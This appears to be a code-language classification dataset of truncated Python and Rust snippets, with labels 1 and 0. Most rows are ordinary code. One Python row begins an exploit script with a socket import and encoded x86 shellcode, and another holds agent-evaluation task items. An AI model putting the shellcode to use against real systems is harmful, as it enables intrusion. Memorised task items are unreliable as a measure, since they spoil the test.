text
string
label_name
string
labels
int64
TextureNodeCategory("TEX_LAYOUT", "Layout", items=[ NodeItem("NodeFrame"), NodeItem("NodeReroute"), ]), ] def register(): nodeitems_utils.register_node_categories('SHADER', shader_node_categories) nodeitems_utils.register_node_categories('COMPOSITING', compositor_node_categories) nod...
Python
1
from typing import Any, Sequence from multimethod import multimethod from visions.relations import IdentityRelation, InferenceRelation, TypeRelation from visions.types.generic import Generic from visions.types.string import String from visions.types.type import VisionsBaseType class DateTime(VisionsBaseType): "...
Python
1
to value 0"] impl crate::Resettable for CTRL_SPEC { #[inline(always)] fn reset_value() -> Self::Ux { 0 } } //! A low-level library to build event driven applications. The core of the //! library is [`poll`], which polls multiple [event sources] for readiness //! events. Based on these readiness eve...
Rust
0
from grafo import Grafo from bfs import bfs from dfs import dfs from dijkstra import dijkstra from desenhar_grafo import desenhar_grafo def main(): grafo = Grafo(12) grafo.adicionar_aresta(0, 1, 1) grafo.adicionar_aresta(0, 2, 4) grafo.adicionar_aresta(1, 3, 3) grafo.adicionar_aresta(2, 4, 2) ...
Python
1
the first layer. ElementOutsideLayer, /// An element in the geometry section indicated that more data was present but the EOF has been reached. UnexpectedEOF, /// The [`CLIType`] specified when declaring the [`CLI`] parser does not match the data in the geometry section of the file. TypeMismatch, } ...
Rust
0
re(labels, preds, average='weighted') recall = recall_score(labels, preds, average='weighted') f1 = f1_score(labels, preds, average='weighted') print(f"Accuracy: {accuracy:.4f}") print(f"Precision: {precision:.4f}") print(f"Recall: {recall:.4f}") print(f"F1 Score: {f1:.4f...
Python
1
import os import random import torch import numpy as np ALREADY_INITALIZED = False # TODO: Consider torch.distributed.is_initialized() instead def init(rank): nranks = 'WORLD_SIZE' in os.environ and int(os.environ['WORLD_SIZE']) nranks = max(1, nranks) is_distributed = (nranks > 1) or ('WORLD_SIZE' in o...
Python
1
om IP2xxx microcontroller family. IP2k, /// MAX Processor. MAX, /// National Semiconductor CompactRISC. CompactRISC, /// Fujitsu F2MC16. F2MC16, /// Texas Instruments MSP430 microcontroller. MSP430, /// Analog Devices Blackfin DSP processor. Blackfin, /// Seiko Epson S1C3...
Rust
0
import networkx as nx class DagreLayout: def __init__(self, automaton_builder, node_spacing=50, rank_spacing=100): self._automaton_builder = automaton_builder self._node_spacing = node_spacing self._rank_spacing = rank_spacing self._positions = self._calculate_positions() def ...
Python
1
# coding:utf-8 # # The MIT License (MIT) # # Copyright (c) 2010-2019 fasiondog/hikyuu # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the r...
Python
1
import torch from torch import nn import torch.nn.functional as F # 0 - plastid # 1 - bacteria # 2 - mitochondria # 3 - archeal # 4 - eukarya def mish(x): return x * torch.tanh(F.softplus(x)) class mish_layer(nn.Module): def __init__(self): super(mish_layer, self).__init__() def forward(self,...
Python
1
alize> Deserialize<'deserialize> for ExtensionHeaderTypeOrLayer4ProtocolNumber { #[inline(always)] fn deserialize<D: Deserializer<'deserialize>>(deserializer: D) -> Result<Self, D::Error> { Ok ( Self { unknown: u8::deserialize(deserializer)?, } ) } } impl Serialize for ExtensionHeaderTypeOrLa...
Rust
0
{ "\u6e2c\u8a66_id": 2, "unitable1_\u6e2c\u8a66": 7, "Unitéble2_b": 2, "\u6e2c\u8a66_self": 2, }, ) meta = MetaData() tt1 = Table(t1.name, meta, autoload_with=connection) tt2 = Table(t2.name, meta, a...
Python
1
# Copyright 2022 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
Python
1
contains(&idx) { None } else { Some(Some(FieldMappingDesc { old_index: idx, action: ActionDesc::Copy, })) } }) .collect(); // Sort elements in ascending order of their insertion indices t...
Rust
0
ck[ii], theta1d, theta2d) plant_uncontrolled.step(np.array([0.0, 0.0])) plant_controlled.step(u) plt.figure(figsize=(4, 8)) plt.subplot(4, 1, 1) plt.plot(timeline, theta1_uncontrolled_track[:, 0], lw=2) plt.plot(timeline, theta1_controlled_track[:, 0], lw=2) plt.plot(timeline, thetad_tra...
Python
1
p::Config for Runtime { /// A timestamp: milliseconds since the unix epoch. type Moment = u64; type OnTimestampSet = (); type MinimumPeriod = MinimumPeriod; type WeightInfo = weights::timestamp::HydraWeight<Runtime>; } impl pallet_balances::Config for Runtime { type MaxLocks = MaxLocks; /// The type for recordi...
Rust
0
(Async::NotReady); } } } } <reponame>jakobwesthoff/twitter_comic_streamer<filename>server/src/main.rs mod composition; mod dithering; mod layout; mod twitter; mod filter; mod comic_image; mod image_data; use composition::create_composition_image; use egg_mode::user::UserID; use egg_mode::Token;...
Rust
0
vers); // A 'NULL' value means 'not exist'. if vers.get(rewrite_ver).c(d!())?.is_empty() { vers.remove(rewrite_ver).c(d!())?; rewrite_ver_chgset.remove(k); } if vers.is_empty() { empty_keys.push(k...
Rust
0
org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // li...
Rust
0
x0: Float = x[i]; let x1: Float = x[i + 1]; let f0: Float = values[offset + i]; let f1: Float = values[offset + i + 1]; let width: Float = x1 - x0; // approximate derivatives using finite differences let d0: Float; let d1: Float; if i > 0 { d0...
Rust
0
import requests import json import streamlit as st url = "http://localhost:11434/api/generate" headers = { 'Content-Type': 'application/json' } history = [] def generate_response(prompt): history.append(prompt) final_prompt = "\n".join(history) data = { "model": "codeguru", # Ensure this i...
Python
1
let expected = include!($cfg_path); let program = helpers::parse_wasm($wasm); let func = helpers::get_func(&program, 0); let actual = build_func_cfg(&func); helpers::assert_cfg_eq(&actual, &expected); }}; } #[test] fn cfg_empty() { // $f0 Wasm: // --------- // 0: End ...
Rust
0
bits"] #[inline] pub fn bits(&self) -> u8 { match *self { PAD49RSELR::PULL1_5K => 0, PAD49RSELR::PULL6K => 1, PAD49RSELR::PULL12K => 2, PAD49RSELR::PULL24K => 3, } } #[allow(missing_docs)] #[doc(hidden)] #[inline] pub fn _from(v...
Rust
0
# https://github.com/texttron/tevatron/blob/7d298b428234f1c1065e98244827824753361815/src/tevatron/retriever/trainer.py#L33 if state_dict is None: state_dict = self.model.state_dict() self.model.save_pretrained( output_dir, state_dict=state_...
Python
1
mod probe; pub(crate) mod tag_utils; mod types; pub use crate::error::{LoftyError, Result}; pub use crate::probe::{read_from, read_from_path, Probe}; pub use crate::types::file::{AudioFile, FileType, TaggedFile}; pub use crate::types::item::{ItemKey, ItemValue, TagItem}; pub use crate::types::picture::{MimeType, Pic...
Rust
0
r::new(input) } #[async_trait] pub trait PlanarMetricTrait { type VideoResult: Serialize; async fn run<P: AsRef<Path> + Send>( input1: P, input2: P, ) -> (PlanarMetric, Result<Self::VideoResult, String>) { let name = Self::name(); let mut dec1 = match get_decoder(input1) {...
Rust
0
diag.span_label(sp, "ambiguous link"); } else { diag.note("ambiguous link"); } for res in candidates { suggest_disambiguator(res, diag, path_str, diag_info.ori_link, sp); } }); } /// In case of an ambiguity or mismatched disambiguator, suggest the correct...
Rust
0
d!' ) ] } await message.answer(text='Approve transaction in your wallet app!') try: await asyncio.wait_for(connector.send_transaction( transaction=transaction ), 300) except asyncio.TimeoutError: await message.answer(text='Timeout error!') exc...
Python
1
elif(a[i][0:2] == "L:"): #for links b = a[i].split(":") k1 = int(args.kmerSize)-1 if args.single_directed: if name < b[2]: links.append("L\t"+name+"\t"+b[1]+"\t"+b[2]+"\t"+b[3]+"\t"+s...
Python
1
# [07] START: tools/generate_mode_docs.py # ruff: noqa: E402 from __future__ import annotations import sys from pathlib import Path # --- Make project modules importable in CI/script contexts ------------------- ROOT = Path(__file__).resolve().parent.parent # <repo-root> if str(ROOT) not in sys.path: sys.path.in...
Python
1
8908800000, "key_as_string": "2025-06-03", "total_bytes": {"value": 1984949.0}, "total_records": {"value": 2}, "uploaders": {"value": 1}, "with_files": {"doc_count": 1, "unique_parents": {"value": 1}}, ...
Python
1
for i in 0..(count.round() as i64) { deps.push(Dependency { group: self.parse_group_id(i), name: self.parse_artifact_id(i), version: self.parse_version(i), scope: self.parse_scope(i), }); } ...
Rust
0
a proof array is deserialized as // part of both spends and outputs. prop_assert!(((smallest_disallowed_vec_len - 1) as u64) == Groth16Proof::max_allocation()); prop_assert!((largest_allowed_vec_len as u64) == Groth16Proof::max_allocation()); prop_assert!((largest_allowed_serialized_len...
Rust
0
import argparse import csv import json from pathlib import Path def _fix_shifted_rosters(teams: list) -> None: """The raw JSON lists several late teams without players and then shifts subsequent rosters by one team. Detect the empty "USC" entry and rotate the following rosters upward so each team has the ...
Python
1
assert_eq!(a.mul_add(b, c), abc); let mut x = a; x.mul_add_assign(b, c); assert_eq!(x, abc); } } } } #[test] fn test_mul_add() { use super::Comple...
Rust
0
formatter.write_str("class LibraryFolders") } fn visit_map<A>(self, mut map: A) -> Result<Self::Value, A::Error> where A: MapAccess<'de>, { let mut library_folders: Vec<LibraryFolder> = Vec::new(); while l...
Rust
0
ValueError: print("❌ Invalid input") def _show_available_jobs(self, shortlists: Dict[str, List[Dict[str, Any]]]): """Show available job titles and candidate counts""" print(f"\n📋 Available Jobs:") for job_title, candidates in shortlists.items(): email_count = su...
Python
1
s0_array: *mut elina_lincons0_array_t, name_of_dim: *mut *mut ::std::os::raw::c_char, ); } extern "C" { pub fn elina_lincons0_array_fprint( stream: *mut FILE, elina_lincons0_array: *mut elina_lincons0_array_t, name_of_dim: *mut *mut ::std::os::raw::c_char, ); } extern "C" { ...
Rust
0
_dataflow::lattice::Lattice; use timely::progress::frontier::MutableAntichain; use timely::progress::{Antichain, ChangeBatch}; use timely::PartialOrder; use tokio::sync::{mpsc, Mutex}; use tracing::{error, trace}; use mz_persist_client::write::WriteHandle; use mz_persist_client::Upper; ...
Rust
0
_config(schema).expect("pg-config"); setup_db(schema).await; let mut client = connect(&pg_config).await.expect("connect"); let tx = client.transaction().await.expect("BEGIN"); info!("Restoring from backup"); // Assume the backup had advanced to an absurdly high transaction ID. let backup_tx_i...
Rust
0
from django.shortcuts import render, get_object_or_404, redirect from .models import Pedidos, PedidosItem # noqa: F401 from .forms import PedidosItemForm, PedidosForm # Crie os formulários correspondentes def pedidos_list(request): pedidos = Pedidos.objects.all() # noqa: F821 return render(request, 'pedidos...
Python
1
// front tests (6, vec![(-3,-1)], vec![(1,2),(7,9)], vec![(-3,-1),(1,2),(7,9)]), (7, vec![(-3,0)], vec![(1,2),(7,9)], vec![(-3,2),(7,9)]), (8, vec![(-3,1)], vec![(1,2),(7,9)], vec![(-3,2),(7,9)]), // middle tests (9, vec![(2,7)], vec![(1,2),(7,9)], vec![(1,9)]), (10, vec![(3,7)],...
Rust
0
# lettuce/core.py import subprocess import time from lettuce.utils import load_yaml_config, expand_path from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler def run_sync(config_path, as_root=False): """ Run rsync based on the provided configuration. :param config_pa...
Python
1
assert_eq!( p.walk(&doc_cid, example_doc.clone()), Ok(WalkSuccess::EmptyPath(example_doc.clone())) ); } } #[test] fn walk_link_with_dot() { let cid = Cid::try_from("QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n").unwrap(); let...
Rust
0
size, } impl Forest { fn new(input_lines: &[String]) -> Self { let mut tree_positions = Vec::new(); let pattern_width = input_lines[0].len(); let pattern_height = input_lines.len(); for line in input_lines { for c in line.chars() { match c { ...
Rust
0
import struct, socket shellcode = (b"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" b"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" b"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" b"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x...
Python
1
nmanagedStepInfo: """Stop a job step :param step_name: name of the step to be stopped :return: a UnmanagedStepInfo instance """ # step_id is task_id for local. Naming for consistency step_id = self.step_mapping[step_name].task_id self.task_manager.remove_task(st...
Python
1
butes: exec_ (google.cloud.aiplatform_v1beta1.types.Probe.ExecAction): ExecAction probes the health of a container by executing a command. This field is a member of `oneof`_ ``probe_type``. period_seconds (int): How often (in seconds) to perform the probe...
Python
1
fn hmac_md5() { // test vectors from RFC 2202 let tests: [(Vec<u8>, Vec<u8>, Vec<u8>); 7] = [(iter::repeat(0x0b_u8).take(16).collect(), b"Hi There".to_vec(), Vec::from_hex("9294727a3638bb1c13f48ef8158bfc9d").unwrap()), (b"Jefe".to_vec(), ...
Rust
0
pubkey_serialize( ctx, output.as_mut_ptr(), output_len, self, flags as c_uint, ); if *output_len != 33 { Err(Error::new(ErrorKind::SerializeCompressedPublicKey)) } else { Ok(*output) } } pub uns...
Rust
0
se crate::{ log::{LogBuffer, LogEntry}, restart_counter::RestartCounterProvider, time::{NanosecondResolution, Nanoseconds, WallClockId}, wire::{report::WireReport, WireCausalSnapshot}, CausalSnapshot, EventId, LogicalClock, MergeError, ModalityProbeInstant, OrdClock, ProbeEpoch, ProbeId, ProbeTi...
Rust
0
none().0)) } } impl ToValue for TlsCertificateRequestFlags { fn to_value(&self) -> glib::Value { let mut value = glib::Value::for_value_type::<Self>(); unsafe { glib::gobject_ffi::g_value_set_enum(value.to_glib_none_mut().0, self.into_glib()); } value } fn v...
Rust
0
"); choice = utils::wait_for_input(); } } } fn play_vcl_prove_sum_balance() { utils::print_highlight( "Loading the challenge for proof of sum relationship...", ); utils::print_wide( "Challenge goals:\nFind malicious plaintext a, b, c, which lead \ to:\n1) pr...
Rust
0
n_head: The number of high-frequency elements to include in the description. n_tail: The number of low-frequency elements to include in the description. stream: The stream to write the description to. If `None`, the description is printed to stdout. Returns: The nu...
Python
1
slice(&session.to_be_bytes()); candidate_hash.using_encoded(|s| buf[(15 + 4)..].copy_from_slice(s)); buf } /// Column configuration information for the DB. #[derive(Debug, Clone)] pub struct ColumnConfiguration { /// The column in the key-value DB where data is stored. pub col_data: u32, } /// Tracked votes on c...
Rust
0
let mut l_tcp = 0 as *mut opj_tcp_t; let mut l_cp = 0 as *mut opj_cp_t; let mut l_tile = 0 as *mut opj_tcd_tile_t; let mut l_tccp = 0 as *mut opj_tccp_t; let mut l_tilec = 0 as *mut opj_tcd_tilecomp_t; let mut l_image_comp = 0 as *mut opj_image_comp_t; let mut l_res = 0 as *mut opj_tcd_resolution_t; let m...
Rust
0
not in filtered_list_cases_missing_ref: filtered_list_cases_missing_ref.append(case) if define_new_ref and len(filtered_list_cases_missing_ref) > 0: print("Definition of references") for testcase in filtered_list_cases_missing_ref: print(" Definition of " + testcase....
Python
1
# SPDX-FileCopyrightText: Copyright 2025 Arm Limited and/or its affiliates <open-source-office@arm.com> # SPDX-License-Identifier: Apache-2.0 class PluginNotFoundError(Exception): """Exception raised when a requested plugin is not found.""" def __init__(self, plugin_name: str): super().__init__(f"Req...
Python
1
s::DerefMut for GuardMut<'a, T> where T: GetAllocator, { fn deref_mut(&mut self) -> &mut Self::Target { &mut self.inner } } impl<'a, T> Print for Guard<'a, T> where T: GetAllocator + Print, { #[inline(always)] fn print(self) { self.inner.print(); } } impl<'a, T> Print for G...
Rust
0
Self::dfs(left, right - 1, cur, all); cur.pop(); } } } } #[test] fn test() { let res: Vec<String> = vec_string!["((()))", "(()())", "(())()", "()(())", "()()()"]; assert_eq!(Solution::generate_parenthesis(3), res); } <filename>src/kernel/mod.rs // Copyrig...
Rust
0
Self::FeeCalculator(hash), None if !sign_only => Self::All, _ => panic!("Cannot resolve blockhash"), } } pub fn new_from_matches(matches: &ArgMatches<'_>) -> Self { let blockhash = value_of(matches, BLOCKHASH_ARG.name); let sign_only = matches.is_present(SIGN_ON...
Rust
0
Lenum = 0x8235; #[allow(dead_code, non_upper_case_globals)] pub const R32UI: types::GLenum = 0x8236; #[allow(dead_code, non_upper_case_globals)] pub const R8: types::GLenum = 0x8229; #[allow(dead_code, non_upper_case_globals)] pub const R8I: types::GLenum = 0x8231; #[allow(dead_code, non_upper_case_globals)] pub const ...
Rust
0
Format { /// Required. /// The location of a KMS key. /// With Google Cloud KMS, valid values have this format: /// gcp-kms://projects/*/locations/*/keyRings/*/cryptoKeys/*. /// With AWS KMS, valid values have this format: /// aws-kms://arn:aws:kms:<region>:<account-id>:key/<key-id> #[prost(...
Rust
0
#[derive(Copy, Clone, Debug)] #[repr(C)] struct Used { flags: Le16, idx: Le16, used_elem_ring: [UsedElem; QUEUE_SIZE], avail_event: Le16, } // Safe as this only runs in test unsafe impl DataInit for Used {} impl Default for Used { fn default() -> Self { ...
Rust
0
class TaskFamily: @staticmethod def get_tasks() -> dict[str, dict]: return { "1": {"instructions": "Step 1: Write the word 'apple'. Step 2: Reverse the word you wrote in Step 1 and write it down. Step 3: Take the result from Step 2 and replace each vowel with the next vowel in the sequence '...
Python
1
#coding=utf-8 #!/usr/bin/python import sys sys.path.append('..') from base.spider import Spider import json from requests import session, utils import os import time import base64 class Spider(Spider): # 元类 默认的元类 type def getName(self): return "B站影视" def init(self,extend=""): print("============{0}============"...
Python
1
import threading from sqlalchemy import Column, String, UnicodeText, func, distinct from sqlalchemy.sql.sqltypes import BigInteger from Giyu.modules.sql import BASE, SESSION class Approvals(BASE): __tablename__ = "approval" chat_id = Column(String(14), primary_key=True) user_id = Column(BigInteger, primar...
Python
1
fp_test2); } fn ui32tofp() -> VM { let vm = VM::new(); typedef! ((vm) int32 = mu_int(32)); typedef! ((vm) double = mu_double); funcsig! ((vm) sig = (int32) -> (double)); funcdecl! ((vm) <sig> ui32tofp); funcdef! ((vm) <sig> ui32tofp VERSION ui32tofp_v1); // blk entry bl...
Rust
0
from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware from typing import List, Optional def configure_cors(app: FastAPI, additional_origins: Optional[List[str]] = None): """ Configure CORS middleware for FastAPI applications. Args: app: The FastAPI application instance...
Python
1
:Forbidden, _ => FsError::GeneralFailure, } } } impl From<io::Error> for FsError { fn from(e: io::Error) -> Self { (&e).into() } } use std::env; use std::fs::File; use std::io::Write; fn main() { let vars = env::vars() .filter(|(name, _)| name.starts_with("CARGO_FEA...
Rust
0
write!(f, "{}", path.display()) }, | ErrorKind::Bug(ref msg) => { let report = "Please report this bug with a backtrace for this repository"; write!(f, "Bug: {}\n{}", msg, report) }, | ErrorKind::Io => { write!(f, "I/O error...
Rust
0
4) => (), // DAD B (Add contents of B & C to H & L) ([0x09, 0, 0], 10) => (), // DAD D (Add contents of D & E to H & L) ([0x19, 0, 0], 10) => (), // DAD H (Add contents of H & L to H & L) ([0x29, 0, 0], 10) => (), // DAD SP (Add conte...
Rust
0
; } let line = input.get(i).unwrap(); for j in 0..line.len() { let current_seat = line.get(j).unwrap(); if *current_seat == SeatFill::Floor { continue; } let mut seats_to_check: Vec<SeatFill> = Vec::new(); if j == 0 { ...
Rust
0
_t = next_t; } if let Some(cusp) = path_geometry::find_cubic_cusp(&cubic) { let cusp_loc = path_geometry::eval_cubic_pos_at(&cubic, cusp.to_normalized()); self.cusper.push_circle(cusp_loc.x, cusp_loc.y, self.radius); } // emit the join even if one stroke succeed...
Rust
0
import numpy as np import cupy as cp import time # Some parameters numPatterns = 4096 size = 64 numData = 1024 # Generate some patterns patterns = np.random.randn(numPatterns, size).astype(np.float32) # Generate some data data = np.random.randn(numData, size).astype(np.float32) # Define matching function def match...
Python
1
ry.argtypes = [] BOB = ULONG InitBSCQuery = _libraries['msbsc70.dll'].InitBSCQuery InitBSCQuery.restype = BOOL InitBSCQuery.argtypes = [QY, BOB] BobNext = _libraries['msbsc70.dll'].BobNext BobNext.restype = BOB BobNext.argtypes = [] BobFrName = _libraries['msbsc70.dll'].BobFrName BobFrName.restype = BOB BobFrName.argty...
Python
1
45: Ward('Xã Mường Lát', WardCode.W_14845, VietNamDivisionType.XA, 'xa_muong_lat', ProvinceCode.P_38), 14863: Ward('Xã Pù Nhi', WardCode.W_14863, VietNamDivisionType.XA, 'xa_pu_nhi', ProvinceCode.P_38), 14864: Ward('Xã Nhi Sơn', WardCode.W_14864, VietNamDivisionType.XA, 'xa_nhi_son', ProvinceCode.P_38), 148...
Python
1
eight[f'mlp_{k}']['wo']['kernel']) layer_weight[f'mlp_{k}']['wo']['kernel'] = np.transpose( layer_weight[f'mlp_{k}']['wo']['kernel'], axes=(1, 0, 2)) layer_weight[f'mlp_{k}']['wo']['kernel'] = checkpoint_device_put(layer_weight[f'mlp_{k}']['wo']['kernel']) jax_weights['decoder']['layers'][f'mlp_{k}'] = la...
Python
1
..Default::default() }))), 3 => Some(Light::Area(AreaLight::Rectangle(light::area::Rectangle { intensity: light::area::Intensity::Power(light.light.intensity), two_sided: true, ..Default:...
Rust
0
hings before %d", opts.max_age) accessor.clean( max_age=opts.max_age, shard=opts.shard, nshards=opts.nshards, start_key=opts.start_key, end_key=opts.end_key, callback_on_progress=on_progress, disa...
Python
1
f) as u32) } // [31:0] } #[doc="Returns true if BKP != 0"] #[inline] pub fn test_bkp(&self) -> bool { self.bkp() != 0 } #[doc="Sets the BKP field."] #[inline] pub fn set_bkp<V: Into<::bobbin_bits::U32>>(mut self, value: V) -> Self { let value: ::bobbin_bits::U32 = value.into();...
Rust
0
,5,6,7,8,9,10], "recs": [ {"foo":1,"bar":1,"baz":["111"],"quux":{"frob":false}}, {"foo":2,"bar":4,"baz":["222"],"quux":{"frob":true}}, {"foo":3,"bar":9,"baz":["333"],"quux":{"frob":false}} ] }"#; #[test] fn test_parse() { let mut t = Reader::new(TESTJSON); let have = Value::from_...
Rust
0
.done() } }) } fn generate_type_spec_code(ty: &syn::Type) -> TokenStream2 { fn without_display_name(ty: &syn::Type) -> TokenStream2 { quote! { ink_abi::TypeSpec::new::<#ty>() } } if let syn::Type::Path(type_path) = ty { if type_path.qself.is_some() { return without_d...
Rust
0
""" getargspec excerpted from: sphinx.util.inspect ~~~~~~~~~~~~~~~~~~~ Helpers for inspecting Python modules. :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import inspect # Unmodified from sphinx below this line from functool...
Python
1
rite(f"AUCROC: {np.around(np.mean(self.auc[:, i]) * 100, 2)} ± {np.around(np.std(self.auc[:, i]) * 100, 2)}\n") f.write(f'F1-score: {np.around(np.mean(self.f1[:, i]) * 100, 2)} ± {np.around(np.std(self.f1[:, i]) * 100, 2)}\n') f.write(f'ACC: {np.around(np.mean(self.acc[:, i]) * 100, 2)} ...
Python
1
sclose(regularization_loss, target) @pytest.mark.parametrize("cls", [layers.LMUCell, layers.LMU, layers.LMUFeedforward]) def test_get_config(cls): """Test that all ``__init__`` arguments appear in the ``get_config`` dictionary.""" obj = cls(memory_d=2, order=5, theta=3.2, hidden_cell=None) config = obj....
Python
1
(&mut self, input : &EvalInput) -> EvalOutput { self.batch_channel.send((input.clone(), self.eval_tx.clone())).unwrap(); self.eval_rx.recv().unwrap() } fn evaluate_batch(&mut self, _input : &[EvalInput]) -> Vec<EvalOutput> { unimplemented!(); } fn train(&mut self, _inputs : &[...
Rust
0
/// The typical way to obtain a `VWeak` pointer is to call [`Prc::demote`]. /// /// [`Prc`]: struct.Prc.html /// [`Weak`]: struct.Weak.html /// [`Prc::downgrade`]: ./struct.Prc.html#method.downgrade /// [`promote`]: #method.promote /// [`Option`]: std::option::Option /// [`None`]: std::option::Option::None pub struct V...
Rust
0
SendError>(); is_error::<error::UnboundedTrySendError<()>>(); } #[test] fn oneshot_error_bound() { use tokio_sync::oneshot::error; is_error::<error::RecvError>(); is_error::<error::TryRecvError>(); } #[test] fn watch_error_bound() { use tokio_sync::watch::error; is_error::<error::SendError<(...
Rust
0
' not in args['enc_type']: args_conv['bottleneck_dim'] = args['d_model'] args['frontend_conv'] = conv_module.ConvEncoder(**args_conv).to(device) if 'lstm' in args['enc_type']: enc_module = importlib.import_module('neural_sp.models.seq2seq.encoders.rnn') enc = enc_module.RNNEncod...
Python
1
.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under t...
Rust
0
etto> [--dest=<dest>] <receipts>.. shinypenny [(-q|-v...)] [-c <config>] [--learning] --csv=<csv> [--dest=<dest>] shinypenny config shinypenny --version Options: --version Show version. -v --verbose Verbosity level. -q --quiet Silence all messages, do...
Rust
0
import logging import torch import torch.nn as nn from torch.nn.modules.conv import _ConvNd from .count_hooks import * register_hooks = { nn.Conv1d: count_convNd, nn.Conv2d: count_convNd, nn.Conv3d: count_convNd, nn.ConvTranspose2d: count_convtranspose2d, nn.BatchNorm1d: count_bn, nn.BatchNo...
Python
1
::new(p)); let t = f(); let _ = unsafe { ptr::read(&*x.0) }; mem::forget(x); t } /// Temporarily takes ownership of a value at a mutable location, and replace it with a new value /// based on the old one. /// /// We move out of the reference temporarily, to apply a closure `f`, returning a new value, which /// is ...
Rust
0
_shape) expected_slice = torch.tensor([0.2796, 0.3138, 0.3481]) self.assertTrue(torch.allclose(encoding["pixel_values"][0, 0, 0, :3], expected_slice, atol=1e-4)) # verify area expected_area = torch.tensor([147979.6875, 165527.0469, 484638.5938, 11292.9375, 5879.6562, 7634.1147]) ...
Python
1
Ref(Box<Type>), /// There is no way to declare value in Solidity (should there be?) Value, /// DynamicBytes and String are lowered to a vector. Slice, Hasher(HasherAlgo, u16), Crypto(CryptoAlgo), } #[derive(PartialEq, Clone, Encode, Decode, Eq, Hash, Debug)] #[cfg_attr(feature = "std", derive(S...
Rust
0
pub fn remove_spaces(&self) -> BinaryString { BinaryString(self.0.chars().filter(|c| !c.is_whitespace()).collect()) } /// Adds Whitespace Between Every **Byte** (8 bits) /// /// ## Example Usage /// ``` /// // Imports /// use to_binary::{BinaryString,BinaryError}; /// ...
Rust
0
args![plaintext: value!("morethan1blockofdata"), algorithm: "AES-192-CBC-ANSIX923", key: "<KEY>", iv: "16_bytes_xxxxxxx"], want: Ok(value!(b"\xfaG\x97OVj\xd4\xf5\x80\x1c\x9f}\xac,:t\xbc\xaf\xbd\xdf0\x10\xdc\xe7\x10Lk\xe4\x03;\xa2\xf5")), tdef: TypeDef::bytes().fallible(), } aes_...
Rust
0
AP_THAT_SUPPORTS_BSS_TRANSITION_MANAGEMENT_METRIC_ID, event_codes: vec![], payload: MetricEventPayload::Count(1), }); } } let is_multi_bss_dim = convert::convert_is_multi_bss(multiple_bss_candidates); metric_events.push(MetricE...
Rust
0